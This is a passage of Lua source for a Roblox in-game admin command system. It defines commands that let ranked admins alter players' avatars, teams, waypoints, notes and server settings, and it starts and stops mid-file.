  7866. for _,Player in pairs(Players) do
  7867. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7868. local Spin = Instance.new("BodyAngularVelocity", Player.Character.Torso) Spin.Name = "MML Spin" Spin.maxTorque = Vector3.new(0, math.huge, 0) Spin.angularvelocity = Vector3.new(0,20,0)
  7869. end
  7870. end
  7871. end};
  7872.  
  7873. [{"nospin", "unspin", "noturn", "unturn", "nospinaround", "unspinaround"}] = {"player", "Stops player from spinning around", 1, "Member", false, function(Speaker, Rank, Arguments)
  7874. local Players = STRING:Scan(Arguments[1], Speaker)
  7875. for _,Player in pairs(Players) do
  7876. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7877. local Spin = Player.Character.Torso:FindFirstChild("MML Spin") if Spin then Spin:Destroy() end
  7878. end
  7879. end
  7880. end};
  7881.  
  7882. [{"port"}] = {"", "Gets the server network port", 0, "Owner", false, function(Speaker, Rank, Arguments)
  7883. GUI:SendMessage(Speaker, "Server Port", "The server port for this server is: "..Server.NS.Port, "Information")
  7884. end};
  7885.  
  7886. [{"chat"}] = {"player (color) string", "Makes player chat string. If color is available the color will be set to it", 2, "Member", false, function(Speaker, Rank, Arguments)
  7887. local Color = "Blue"
  7888. local String = Arguments[2]
  7889. local ChatSplit = STRING:GetSplit(String, 1, Settings.Bet)
  7890. if #ChatSplit >= 2 then
  7891. if string.lower(ChatSplit[1]) == "green" then
  7892. Color = "Green"
  7893. String = ChatSplit[2]
  7894. elseif string.lower(ChatSplit[1]) == "red" then
  7895. Color = "Red"
  7896. String = ChatSplit[2]
  7897. end
  7898. end
  7899. local Players = STRING:Scan(Arguments[1], Speaker)
  7900. for _,Player in pairs(Players) do
  7901. if Player.Character and Player.Character:FindFirstChild("Head") then
  7902. game:GetService("Chat"):Chat(Player.Character.Head, STRING:DetermineFilter(String, Speaker, Player), Color)
  7903. end
  7904. end
  7905. end};
  7906.  
  7907. [{"missile", "mis", "rocket"}] = {"player", "Turns player into a missile. Use with care!", 1, "Admin", true, function(Speaker, Rank, Arguments)
  7908. local Players = STRING:Scan(Arguments[1], Speaker)
  7909. for _,Player in pairs(Players) do
  7910. if Player.Character then
  7911. CORE:ExecuteResource("Missile", Player.Character, {["Color"] = GUI:GetColor()})
  7912. end
  7913. end
  7914. end};
  7915.  
  7916. [{"face"}] = {"player num(ID)", "Changes player's faces player num(ID) (must be decal/image)", 2, "Member", false, function(Speaker, Rank, Arguments)
  7917. local Players = STRING:Scan(Arguments[1], Speaker)
  7918. local ID = nil
  7919. if tonumber(Arguments[2]) ~= nil then
  7920. ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
  7921. else
  7922. for FaceTable,FaceID in pairs({[{":3", "=3", ";3"}] = "45448697", [{":D", "=D", ";D"}] = "40528907", [{"D:", "D=", "D;"}] = "147285493", [{":(", "=(", ";(", "):", ")=", ");"}] = "67493660", [{":)", "=)", ";)", "(:", "(=", "(;"}] = "41420967", [{":o", "=o", ";o", "o:", "o=", "o;", ":0", "=0", ";0", "0:", "0=", "0;"}] = "14995229", [{":P", "=P", ";P"}] = "35853859", [{":/", "=/", ";/", "/:", "/=", "/;", [[:\]], [[=\]], [[;\]], [[\:]], [[\=]], [[\;]]}] = "141764028", [{":I", "=I", ";I", "I:", "I=", "I;", ":|", "=|", ";|", "|:", "|=", "|;"}] = "14922431"}) do
  7923. for _,Face in pairs(FaceTable) do
  7924. if string.lower(Arguments[2]) == string.lower(Face) then
  7925. ID = FaceID
  7926. break
  7927. end
  7928. end
  7929. end
  7930. end
  7931. if ID then
  7932. for _,Player in pairs(Players) do
  7933. if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
  7934. Player.Character.Head.face.Texture = "rbxassetid://"..ID
  7935. pcall(function() Player.Character.Label:GetChildren()[1].Head.Texture = "rbxassetid://"..ID end)
  7936. end
  7937. end
  7938. end
  7939. end};
  7940.  
  7941. [{"overlay", "ol"}] = {"player num(ID)", "Turns player's head into a 2D images of num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
  7942. local Players = STRING:Scan(Arguments[1], Speaker)
  7943. local ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
  7944. for _,Player in pairs(Players) do
  7945. if Player.Character and Player.Character:FindFirstChild("Head") then
  7946. local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
  7947. BB = Instance.new("BillboardGui", Player.Character.Head) BB.Name = "MMLA Overlay" BB.AlwaysOnTop = true BB.Size = UDim2.new(1,0,1,0) BB.Adornee = Player.Character.Head
  7948. local Image = Instance.new("ImageLabel", BB) Image.BackgroundTransparency = 1 Image.Image = "rbxassetid://"..ID Image.Position = UDim2.new(-0.5,0,-0.5,0) Image.Size = UDim2.new(2,0,2,0)
  7949. end
  7950. end
  7951. end};
  7952.  
  7953. [{"nooverlay", "unoverlay", "nool", "unol"}] = {"player", "Removes any overlay on player's head from the overlay command", 1, "Member", false, function(Speaker, Rank, Arguments)
  7954. local Players = STRING:Scan(Arguments[1], Speaker)
  7955. for _,Player in pairs(Players) do
  7956. if Player.Character and Player.Character:FindFirstChild("Head") then
  7957. local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
  7958. end
  7959. end
  7960. end};
  7961.  
  7962. [{"notify"}] = {"string", "Sends string as a packet to the owner remotely", 1, "Admin", false, function(Speaker, Rank, Arguments)
  7963. REMOTE:SendHttpLog(Speaker.Name.." Sent Notification: "..Arguments[1], "NOTIFICATION", Speaker)
  7964. end, Http = true};
  7965.  
  7966. [{"downloadlogs", "downloadhttplogs", "getlogs", "gethttplogs"}] = {"", "Downloads http logs sent by all admins using RemoteAdmin with a DataKey from the Linked Account", 0, "Admin", false, function(Speaker, Rank, Arguments)
  7967. GUI:ListGui(Speaker, "Http Logs", CORE:ReverseTable(REMOTE:DownloadUserdata(false).Logs), "Log")
  7968. end, Http = true};
  7969.  
  7970. [{"note"}] = {"player string", "Saves string to player to all servers", 2, "Admin", false, function(Speaker, Rank, Arguments)
  7971. local Players = STRING:Scan(Arguments[1], Speaker)
  7972. for _,Player in pairs(Players) do
  7973. local ExistingData = Player:LoadInstance("Data")
  7974. if ExistingData == nil then
  7975. ExistingData = Instance.new("Configuration")
  7976. end
  7977. ExistingData.Name = "Player Data"
  7978. local Key = Instance.new("Configuration", ExistingData)
  7979. Key.Name = Arguments[2]
  7980. Player:SaveInstance("Data", ExistingData)
  7981. end
  7982. end};
  7983.  
  7984. [{"removenote", "noteremove"}] = {"player string", "Removes any note starting with string", 2, "Admin", false, function(Speaker, Rank, Arguments)
  7985. local Players = STRING:Scan(Arguments[1], Speaker)
  7986. local Data = Arguments[2]
  7987. for _,Player in pairs(Players) do
  7988. local ExistingData = Player:LoadInstance("Data")
  7989. if ExistingData ~= nil then
  7990. if string.lower(Data) == "all" then
  7991. ExistingData:ClearAllChildren()
  7992. else
  7993. for _,DataObj in pairs(ExistingData:GetChildren()) do
  7994. if string.sub(string.lower(DataObj.Name),1,#Data) == string.lower(Data) then
  7995. DataObj:Destroy()
  7996. end
  7997. end
  7998. end
  7999. end
  8000. Player:SaveInstance("Data", ExistingData)
  8001. end
  8002. end};
  8003.  
  8004. [{"shownotes", "shownote", "loadnotes", "loadnote", "notes", "getnotes", "getnote"}] = {"player", "Shows the saved notes of player", 1, "Member", false, function(Speaker, Rank, Arguments)
  8005. local Players = STRING:Scan(Arguments[1], Speaker)
  8006. local DataSet = {}
  8007. for _,Player in pairs(Players) do
  8008. local ExistingData = Player:LoadInstance("Data")
  8009. if ExistingData ~= nil then
  8010. if #ExistingData:GetChildren() ~= 0 then
  8011. for _,Data in pairs(ExistingData:GetChildren()) do
  8012. table.insert(DataSet, Player.Name..": "..Data.Name)
  8013. end
  8014. else
  8015. table.insert(DataSet, "Data does not exist for "..Player.Name)
  8016. end
  8017. else
  8018. table.insert(DataSet, "Data does not exist for "..Player.Name)
  8019. end
  8020. end
  8021. GUI:ListGui(Speaker, "Notes", DataSet)
  8022. end};
  8023.  
  8024. [{"forwards", "forward"}] = {"player", "Makes player walk forward at normal walkspeed", 1, "Member", false, function(Speaker, Rank, Arguments)
  8025. local Players = STRING:Scan(Arguments[1], Speaker)
  8026. for _,Player in pairs(Players) do
  8027. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  8028. Player.Character.Humanoid.WalkSpeed = 16
  8029. end
  8030. end
  8031. end};
  8032.  
  8033. [{"backwards", "backward"}] = {"player", "Makes player walk backwards(reverse keys) at normal walkspeed", 1, "Member", true, function(Speaker, Rank, Arguments)
  8034. local Players = STRING:Scan(Arguments[1], Speaker)
  8035. for _,Player in pairs(Players) do
  8036. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  8037. Player.Character.Humanoid.WalkSpeed = -16
  8038. end
  8039. end
  8040. end};
  8041.  
  8042. [{"teamnew", "teamcreate", "newteam", "createteam"}] = {"string", "Creates a new team named string. If a color is detected, the team color will be set to it.", 1, "Member", false, function(Speaker, Rank, Arguments)
  8043. local TeamColor = BrickColor.random()
  8044. local TeamName = Arguments[1]
  8045. local TeamNameSplit = STRING:GetSplit(TeamName, 1, " ")
  8046. if #TeamNameSplit >= 2 then
  8047. local Color = TeamNameSplit[1]
  8048. local NewTeamName = TeamNameSplit[2]
  8049. if Color == "Medium stone grey" then
  8050. TeamColor = BrickColor.new(Color)
  8051. TeamName = NewTeamName
  8052. elseif BrickColor.new(Color) ~= BrickColor.new("Medium stone grey") then
  8053. TeamColor = BrickColor.new(Color)
  8054. TeamName = NewTeamName
  8055. elseif Colors[string.upper(Color)] then
  8056. TeamColor = BrickColor.new(GUI:GetColor(string.upper(Color)))
  8057. TeamName = NewTeamName
  8058. end
  8059. end
  8060.  
  8061. local NewTeam = Instance.new("Team", Server.Teams)
  8062. NewTeam.TeamColor = TeamColor
  8063. NewTeam.Name = TeamName
  8064. end};
  8065.  
  8066. [{"leaveteam", "teamleave"}] = {"player", "Makes player be on no team", 1, "Member", false, function(Speaker, Rank, Arguments)
  8067. local Players = STRING:Scan(Arguments[1], Speaker)
  8068. for _,Player in pairs(Players) do
  8069. Player.Neutral = true
  8070. end
  8071. end};
  8072.  
  8073. [{"team", "teamjoin", "jointeam"}] = {"player string", "Makes it so player joints team string", 2, "Member", false, function(Speaker, Rank, Arguments)
  8074. local Players = STRING:Scan(Arguments[1], Speaker)
  8075. if string.lower(Arguments[2]) == "none" then
  8076. for _,Player in pairs(Players) do
  8077. Player.Neutral = true
  8078. end
  8079. else
  8080. for _,Obj in pairs(Server.Teams:GetChildren()) do
  8081. if Obj:IsA("Team") then
  8082. if string.sub(string.lower(Obj.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
  8083. for _,Player in pairs(Players) do
  8084. Player.Neutral = false
  8085. Player.TeamColor = Obj.TeamColor
  8086. end
  8087. end
  8088. end
  8089. end
  8090. end
  8091. end};
  8092.  
  8093. [{"noteam", "unteam", "nonewteam", "unnewteam"}] = {"string", "Finds the team named string and removes it", 1, "Member", false, function(Speaker, Rank, Arguments)
  8094. for _,Obj in pairs(Server.Teams:GetChildren()) do
  8095. if Obj:IsA("Team") then
  8096. if string.sub(string.lower(Obj.Name),1,#Arguments[1]) == string.lower(Arguments[1]) then
  8097. for _,Player in pairs(Server.Players:GetPlayers()) do
  8098. if Player.TeamColor == Obj.TeamColor then
  8099. Player.Neutral = true
  8100. end
  8101. end
  8102. Obj:Destroy()
  8103. end
  8104. end
  8105. end
  8106. end};
  8107.  
  8108. [{"clearteams", "cleanteams"}] = {"", "Clears all teams", 0, "Member", false, function(Speaker, Rank, Arguments)
  8109. for _,Player in pairs(Server.Players:GetPlayers()) do
  8110. Player.Neutral = true
  8111. end
  8112. for _,Obj in pairs(Server.Teams:GetChildren()) do
  8113. if Obj:IsA("Team") then
  8114. Obj:Destroy()
  8115. end
  8116. end
  8117. end};
  8118.  
  8119. [{"countdown", "count", "ticker"}] = {"num", "Counts down an alarm from num", 1, "Member", false, function(Speaker, Rank, Arguments)
  8120. for _,Player in pairs(Server.Players:GetPlayers()) do
  8121. GUI:Countdown(Player, Arguments[1])
  8122. end
  8123. end};
  8124.  
  8125. [{"showad", "ad"}] = {"player", "Shows an ad to player(As of now, only people on mobile devices can see)", 1, "Admin", false, function(Speaker, Rank, Arguments)
  8126. local Players = STRING:Scan(Arguments[1], Speaker)
  8127. for _,Player in pairs(Players) do
  8128. if Player:FindFirstChild("Backpack") then
  8129. CORE:ExecuteResource("ShowAd", Player.Backpack)
  8130. end
  8131. end
  8132. end};
  8133.  
  8134. [{"warp", "warpto"}] = {"player string", "Warps player to the point of string", 2, "Member", false, function(Speaker, Rank, Arguments)
  8135. local Players = STRING:Scan(Arguments[1], Speaker)
  8136. for _,Player in pairs(Players) do
  8137. if Player.Character then
  8138. for PosName,WP in pairs(Waypoints) do
  8139. if string.sub(string.lower(PosName),1,#Arguments[2]) == string.lower(Arguments[2]) then
  8140. Player.Character:MoveTo(WP + Vector3.new(0,0.5,0))
  8141. break
  8142. end
  8143. end
  8144. end
  8145. end
  8146. end};
  8147.  
  8148. [{"waypoint", "addwaypoint"}] = {"string num(X) num(Y) num(Z)", "Adds a waypoint to warp named string with the XYZ coordinates", 4, "Admin", false, function(Speaker, Rank, Arguments)
  8149. CORE:AddWaypoint(Arguments[1], Vector3.new(Arguments[2], Arguments[3], Arguments[4]), Speaker)
  8150. end};
  8151.  
  8152. [{"removewaypoint", "deletewaypoint", "destroywaypoint", "nowaypoint", "unwaypoint"}] = {"string", "Removes any waypoint named string", 1, "Member", false, function(Speaker, Rank, Arguments)
  8153. local Num = 0
  8154. for PosName,WP in pairs(Waypoints) do
  8155. Num = Num + 1
  8156. if string.sub(string.lower(PosName),1,#Arguments[1]) == Arguments[1] then
  8157. Waypoints[PosName] = nil
  8158. end
  8159. end
  8160. end};
  8161.  
  8162. [{"waypoints", "viewwaypoints", "waypointlist", "listwaypoints"}] = {"", "Views all waypoints to warp to", 0, "Member", false, function(Speaker, Rank, Arguments)
  8163. local WaypointHolder,WaypointRaw = {},{}
  8164. for Name, WP in pairs(Waypoints) do
  8165. local View = Name..": "..tostring(WP)
  8166. table.insert(WaypointHolder, View)
  8167. WaypointRaw[View] = WP
  8168. end
  8169. local Clicked = GUI:ListGui(Speaker, "Waypoint List", WaypointHolder, "Map")
  8170. Clicked.Event:connect(function(Text)
  8171. local Waypoint = WaypointRaw[Text]
  8172. if Waypoint then
  8173. if Speaker.Character then
  8174. Speaker.Character:MoveTo(Waypoint)
  8175. end
  8176. end
  8177. end)
  8178. end};
  8179.  
  8180. [{"list", "listplayer", "listplayers"}] = {"player", "Lists the player(s) in a gui list", 1, "Member", false, function(Speaker, Rank, Arguments)
  8181. local Players = STRING:Scan(Arguments[1], Speaker)
  8182. local List = {}
  8183. for _,Player in pairs(Players) do
  8184. table.insert(List, Player.Name.." (ID: "..Player.UserId..")")
  8185. end
  8186. GUI:ListGui(Speaker, "Listed Players", List)
  8187. end};
  8188.  
  8189. [{"givepoints"}] = {"player num", "Gives num playerpoints to player", 2, "Owner", false, function(Speaker, Rank, Arguments)
  8190. if tonumber(Arguments[1]) then
  8191. ypcall(function() Server.PS:AwardPoints(tonumber(Arguments[1]), tonumber(Arguments[2])) end)
  8192. else
  8193. local Players = STRING:Scan(Arguments[1], Speaker)
  8194. for _,Player in pairs(Players) do
  8195. ypcall(function() Server.PS:AwardPoints(Player.UserId, tonumber(Arguments[2])) end)
  8196. end
  8197. end
  8198. end};
  8199.  
  8200. [{"friends", "getfriends", "listfriends", "showfriends"}] = {"player", "Shows all the friends player is friends with in the server", 1, "Member", false, function(Speaker, Rank, Arguments)
  8201. local Players = STRING:Scan(Arguments[1], Speaker)
  8202. local Friends,OneFriend = {}, false
  8203. for _,Player in pairs(Players) do
  8204. for _,User in pairs(Server.Players:GetPlayers()) do if User ~= Player then
  8205. --[[if Player:IsBestFriendsWith(User.UserId) then
  8206. table.insert(Friends, Player.Name.." is best friends with "..User.Name)
  8207. OneFriend = true
  8208. ]]
  8209. if Player:IsFriendsWith(User.UserId) then
  8210. table.insert(Friends, Player.Name.." is friends with "..User.Name)
  8211. OneFriend = true
  8212. end
  8213. if _ == #Server.Players:GetPlayers() and OneFriend == false then
  8214. table.insert(Friends, Player.Name.." has no friends in this server (Loner)")
  8215. end
  8216. end end
  8217. end
  8218. GUI:ListGui(Speaker, "Friend List", Friends)
  8219. end};
  8220.  
  8221. [{"serverlock", "lockserver"}] = {"", "Locks the server to prevent non-admins from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
  8222. Settings.ServerLocked = true
  8223. GUI:MessageAdmins("Server Locked", "The server has been locked. Only admins can join at this point.", 10, "Lock")
  8224. end};
  8225.  
  8226. [{"noserverlock", "unserverlock", "unlockserver", "nolockserver", "nolock", "unlock"}] = {"", "Unlocks the server to enable non-admin joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
  8227. Settings.ServerLocked = false
  8228. GUI:MessageAdmins("Server Unlocked", "The server has been unlocked. Anyone not banned or crashed can join", 10, 11344402)
  8229. end};
  8230.  
  8231. [{"minage", "minimumage", "restrictage"}] = {" num", "Restricts any player that is younger than the age(in days) num from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
  8232. local OldAge = Settings.MinimumAge
  8233. local Age = tostring(Arguments[1])
  8234. if Age then
  8235. Settings.MinimumAge = Age
  8236. GUI:MessageAdmins("Minumum age change", "The minimum age required to join this server is now "..Age.." days old(was "..OldAge.." days old)", 10)
  8237. end
  8238. end};
  8239.  
  8240. [{"vipadmin", "adminvip"}] = {"", "Prompts speaker the VIP item to grant Admin level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
  8241. if Settings.VIPAdminID <= 1 then
  8242. MARKET:PromptPurchase(Speaker, VIPAdminID)
  8243. else
  8244. CORE:SendMessage(Speaker, "No Admin VIP", "The creator ("..GameOwner..") did not add a admin rank VIP to Make".."rModelLua's Admin", 7)
  8245. end
  8246. end};
  8247.  
  8248. [{"vipmember", "membervip"}] = {"", "Prompts speaker the VIP item to grant Member level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
  8249. if Settings.VIPMemberID <= 1 then
  8250. MARKET:PromptPurchase(Speaker, VIPMemberID)
  8251. else
  8252. CORE:SendMessage(Speaker, "No Member VIP", "The creator ("..GameOwner..") did not add a member rank VIP to Make".."rModelLua's Admin", 7)
  8253. end
  8254. end};
  8255.  
  8256. [{"headsize", "sizehead", "resizehead", "headresize"}] = {"player num", "Resizes player's head to num. 100 = normal size 200 = double size 50 = half size", 2, "Member", true, function(Speaker, Rank, Arguments)
  8257. if tonumber(Arguments[2]) then
  8258. local Players = STRING:Scan(Arguments[1], Speaker)
  8259. local Size = tonumber(Arguments[2])+25
  8260. for _,Player in pairs(Players) do
  8261. if Player.Character then
  8262. if Player.Character:FindFirstChild("Head") then
  8263. if Player.Character.Head:FindFirstChild("Mesh") then
  8264. Player.Character.Head.Mesh.Scale = Vector3.new(Size/100,Size/100,Size/100)
  8265. end
  8266. end
  8267. end
  8268. end
  8269. end
  8270. end};
  8271.  
  8272. [{"control"}] = {"player", "Allows speaker to take control of player", 1, "Member", false, function(Speaker, Rank, Arguments)
  8273. local Players = STRING:Scan(Arguments[1], Speaker)
  8274. for _,Player in pairs(Players) do
  8275. if Player.Character and Player.Character:FindFirstChild("Torso") then
  8276. CORE:ChangeCharacter(Speaker, Player.UserId, false, Speaker, true, Player.Character.Torso.Position)
  8277. Player.Character.Parent = nil
  8278. CORE:ExecuteResource("CameraControl", Player.Backpack, {["Speaker"] = Speaker})
  8279. end
  8280. end
  8281. end};
  8282.  
  8283. [{"settings"}] = {"", "Shows settings to speaker. If high enough rank, the speaker can edit settings", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
  8284. GUI:SettingsGui(Speaker)
  8285. end};
  8286.  
  8287. [{"hasasset", "ownsasset"}] = {"player num(ID)", "Shows if player has asset num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
  8288. if tonumber(Arguments[2]) then
  8289. local Players = STRING:Scan(Arguments[1], Speaker)
  8290. local List = {}
  8291. for _,Player in pairs(Players) do
  8292. if Server.MPS:PlayerOwnsAsset(Player, tonumber(Arguments[2])) then
  8293. table.insert(List, Player.Name)
  8294. end
  8295. end
  8296. GUI:ListGui(Speaker, "Players who have asset ID: "..Arguments[2], List, 23916171)
  8297. end
  8298. end};
  8299.  
  8300. [{"reck", "rek", "rekt", "shrekt", "wreck", "noscope", "mlg"}] = {"player", "rekts player in a haxy way", 1, "Member", true, function(Speaker, Rank, Arguments)
  8301. local Players = STRING:Scan(Arguments[1], Speaker)
  8302. for _,Player in pairs(Players) do
  8303. if Player.Character and Player.Character:FindFirstChild("Head") then
  8304. local Char = Player.Character
  8305. Char:BreakJoints()
  8306. CORE:ScanItems(Char, {"BasePart"}, function(Obj)
  8307. Obj.Anchored = true
  8308. for _,Face in pairs({"Top", "Bottom", "Right", "Left", "Front", "Back"}) do
  8309. local Decal = Instance.new("Decal", Obj)
  8310. Decal.Texture = "rbxassetid://178913323"
  8311. Decal.Face = Face
  8312. end
  8313. end)
  8314. local Sound1 = SOUND:MakeSound(Char.Head, 131509782, 1, 1)
  8315. local Sound2 = SOUND:MakeSound(Char.Head, 179497874, 1, 1)
  8316. Sound1:Play() Sound2:Play()
  8317. coroutine.wrap(function()
  8318. coroutine.wrap(function() wait(4.9) Sound1:Stop() Sound2:Stop() end)()
  8319. repeat wait()
  8320. CORE:ScanItems(Char, {"BasePart"}, function(Obj)
  8321. SOUND:MakeSound(Char.Head, "rbxasset://sounds/uuhhh.mp3", 1, math.random(80,120)/100):Play()
  8322. Obj.Transparency = math.random(0,30)/100
  8323. Obj.Reflectance = math.random(0,50)/100
  8324. Obj.CFrame = Obj.CFrame * CFrame.new(math.random(-10,10),math.random(-5,10),math.random(-10,10)) * CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360)))
  8325. end)
  8326. until Char ~= Player.Character or Char.Parent == nil
  8327. end)()
  8328. end
  8329. end
  8330. end, Hidden = true};
  8331.  
  8332. [{"define", "lookup", "definition"}] = {"string", "Looks up the word on webster's online dictionary", 1, "Member", false, function(Speaker, Rank, Arguments)
  8333. GUI:SendMessage(Speaker, "Definition of "..Arguments[1], REMOTE:DefineWord(Arguments[1]), 185923691)
  8334. end, Http = true};
  8335.  
  8336. [{"neon", "glow"}] = {"player", "Makes player glow like a neon light", 1, "Member", false, function(Speaker, Rank, Arguments)
  8337. local Players = STRING:Scan(Arguments[1], Speaker)
  8338. for _,Player in pairs(Players) do
  8339. if Player.Character then
  8340. CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
  8341. Obj.Material = "Neon"
  8342. end)
  8343. end
  8344. end
  8345. end};
  8346.  
  8347. [{"noneon", "noglow", "unneon", "unglow"}] = {"player", "Removes any glowing neon from player", 1, "Member", false, function(Speaker, Rank, Arguments)
  8348. local Players = STRING:Scan(Arguments[1], Speaker)
  8349. for _,Player in pairs(Players) do
  8350. if Player.Character then
  8351. CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
  8352. Obj.Material = "Plastic"
  8353. end)
  8354. end
  8355. end
  8356. end};
  8357.  
  8358. [{"asd", "swag"}] = {"player", "Makes player look like a swagger", 1, "Member", true, function(Speaker, Rank, Arguments)
  8359. local Players = STRING:Scan(Arguments[1], Speaker)
  8360. for _,Player in pairs(Players) do
  8361. if Player.Character then
  8362. CORE:ScanItems(Player.Character, {"JointInstance"}, function(Obj)
  8363. Obj.C0 = Obj.C0 * CFrame.new(math.random(-5,5),math.random(0,5),math.random(-5,5))
  8364. end)
  8365. end
  8366. end
  8367. end, Hidden = true};
  8368.  
  8369. [{"getpos", "getposition", "playerpos", "playerposition"}] = {"player", "Gets player's position and prompts to add it to waypoints", 1, "Admin", false, function(Speaker, Rank, Arguments)
  8370. local Players = STRING:Scan(Arguments[1], Speaker)
  8371. for _,Player in pairs(Players) do
  8372. if Player.Character and Player.Character:FindFirstChild("Torso") then
  8373. local Pos = Player.Character.Torso.Position
  8374. Pos = Vector3.new(CORE:Round(Pos.X), CORE:Round(Pos.Y), CORE:Round(Pos.Z))
  8375. local Answer = GUI:PromptMessageWithButtons(Speaker, Player.Name.."'s position", Player.Name.." is located at ("..tostring(Pos)..") would you like a waypoint under his/her name?", "Question", {"Cancel", "Ok"})
  8376. if Answer == "Ok" then
  8377. CORE:AddWaypoint(Player.Name, Pos, Speaker)
  8378. end
  8379. end
  8380. end
  8381. end};
  8382.  
  8383. [{"point", "find", "laser"}] = {"player1 player2", "Creates a laser that points from player1 to player2", 2, "Member", false, function(Speaker, Rank, Arguments)
  8384. local PlayersFrom = STRING:Scan(Arguments[1], Speaker)
  8385. local PlayersTo = STRING:Scan(Arguments[2], Speaker)
  8386. if PlayersFrom and PlayersTo then
  8387. for _,PlayerFrom in pairs(PlayersFrom) do
  8388. for _,PlayerTo in pairs(PlayersTo) do
  8389. if PlayerFrom.Character and PlayerTo.Character then
  8390. if PlayerFrom.Character:FindFirstChild("Humanoid") and PlayerTo.Character:FindFirstChild("Torso") then coroutine.wrap(function()
  8391. local Laser = Instance.new("SelectionPartLasso", PlayerFrom.Character) Laser.Humanoid = PlayerFrom.Character.Humanoid Laser.Part = PlayerTo.Character.Torso Laser.Color = GUI:GetNameColor(PlayerTo.Name)
  8392. wait(5)
  8393. Laser:Destroy()
  8394. end)() end
  8395. end
  8396. end
  8397. end
  8398. end
  8399. end};
  8400.  
  8401. [{"ragdoll", "rag"}] = {"player", "Makes player a ragdoll(Removes humanoid)", 1, "Member", false, function(Speaker, Rank, Arguments)
  8402. local Players = STRING:Scan(Arguments[1], Speaker)
  8403. for _,Player in pairs(Players) do
  8404. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  8405. Player.Character.Humanoid:Destroy()
  8406. end
  8407. end
  8408. end};
  8409.  
  8410. [{"plugins", "getplugins", "pluginlist"}] = {"", "Shows plugins", 0, "Admin", false, function(Speaker, Rank, Arguments)
  8411. if Plugins then
  8412. local List = {}
  8413. for _,Module in pairs(Plugins:GetChildren()) do
  8414. if Module:IsA("ModuleScript") then
  8415. local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
  8416. local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
  8417. local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
  8418. table.insert(List, Module.Name.." V"..VersionVal.Value.." by "..Creator.Value.." | RUNNING: "..STRING:BoolString(Enabled.Value))
  8419. end
  8420. end
  8421. GUI:ListGui(Speaker, "Plugin List", List, "Plugin")
  8422. else
  8423. GUI:SendMessage(Speaker, "Cannot get plugins", "Could not find plugin directory", "Notice", 5)
  8424. end
  8425. end};
  8426.  
  8427. [{"detachchat", "detachc", "dchat", "dc"}] = {"player", "Detaches player's roblox chat gui into a MMLA gui", 1, "Admin", false, function(Speaker, Rank, Arguments)
  8428. local Players = STRING:Scan(Arguments[1], Speaker)
  8429. for _,Player in pairs(Players) do
  8430. GUI:DetachChat(Player)
  8431. end
  8432. end};
  8433.  
  8434. [{"detachmychat", "detachmyc", "dmychat", "dmyc", "detachmchat", "detachmc", "dmchat", "dmc"}] = {"", "Detaches speaker's roblox chat gui into a MMLA gui", 0, "Member", false, function(Speaker, Rank, Arguments)
  8435. GUI:DetachChat(Speaker)
  8436. end};
  8437.  
  8438. [{"truck", "runover"}] = {"player", "Runs player over with a truck", 1, "Member", true, function(Speaker, Rank, Arguments)
  8439. local Players = STRING:Scan(Arguments[1], Speaker)
  8440. for _,Player in pairs(Players) do
  8441. if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
  8442. local Dead = false
  8443.  
  8444. Player.Character.Humanoid.WalkSpeed = 1
  8445. local Torso = Player.Character.Torso
  8446. local Truck = Instance.new("Part", Workspace) Truck.Name = "Truck" Truck.Size = Vector3.new(9, 9, 15) Truck.CanCollide = false Truck.Position = Torso.CFrame:toWorldSpace(CFrame.new(0, 0, -150)).p
  8447. Truck:BreakJoints()
  8448. local Mesh = Instance.new("SpecialMesh", Truck) Mesh.MeshId = "rbxassetid://52157810" Mesh.TextureId = "rbxassetid://52157085" Mesh.Scale = Vector3.new(11, 11, 11)
  8449. local BG = Instance.new("BodyGyro", Truck) BG.maxTorque = Vector3.new(math.huge, math.huge, math.huge) BG.cframe = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0))
  8450. local BV = Instance.new("BodyVelocity", Truck) BV.maxForce = Vector3.new(math.huge, math.huge, math.huge) BV.velocity = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0)).lookVector * 100
  8451. Truck.Touched:connect(function(Part)
  8452. if Dead == false then
  8453. local TouchPlayer = Server.Players:GetPlayerFromCharacter(Part.Parent or Part.Parent.Parent)
  8454. if TouchPlayer == Player then
  8455. Dead = true
  8456. Player.Character:BreakJoints()
  8457. SOUND:MakeSound(Truck, 264486467):Play() -- splat
  8458. end
  8459. end
  8460. end)
  8461. SOUND:MakeSound(Truck, 236746885, 0.5, 2):Play() -- truck
  8462. Delay(1, function() SOUND:MakeSound(Truck, 130802373):Play() end) -- horn
  8463. Delay(5, function()
  8464. Truck:Destroy()
  8465. if Player.Character:FindFirstChild("Humanoid") then
  8466. Player.Character.Humanoid.WalkSpeed = 16
  8467. end
  8468. end)
  8469. end
  8470. end
  8471. end};
  8472.  
  8473. [{"telljoke", "showjoke", "tj", "sj"}] = {"player", "Tells player a random joke", 1, "Admin", true, function(Speaker, Rank, Arguments)
  8474. local Joke = REMOTE:DownloadJoke(Speaker)
